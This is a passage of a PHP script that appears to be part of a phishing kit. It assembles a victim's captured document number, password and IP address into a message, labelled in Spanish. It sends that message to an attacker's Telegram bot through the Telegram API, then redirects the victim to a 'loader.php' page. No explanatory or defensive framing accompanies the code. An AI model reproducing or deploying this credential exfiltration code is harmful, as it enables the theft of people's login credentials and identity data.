$select\n✔️Documento : $remail\n✔️Contraseña : $rpass\n🌐 IP 📍: $userIP";
// Telegram API endpoint
$apiEndpoint = 'https://api.telegram.org/bot' . $botToken . '/sendMessage';
// Prepare the data for the HTTP POST request
$data = [
'chat_id' => $chatId,
'text' => $message,
'parse_mode' => 'HTML', // Specify HTML parse mode to support formatting
];
// Initialize cURL session
$ch = curl_init($apiEndpoint);
// Set cURL options
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Execute cURL session and close it
$response = curl_exec($ch);
curl_close($ch);
// Check if the message was sent successfully
if ($response === false) {
echo 'Error sending message.';
} else {
// Redirect to another page
header("Location: loader.php");
exit();
}
}
?>
sugerencias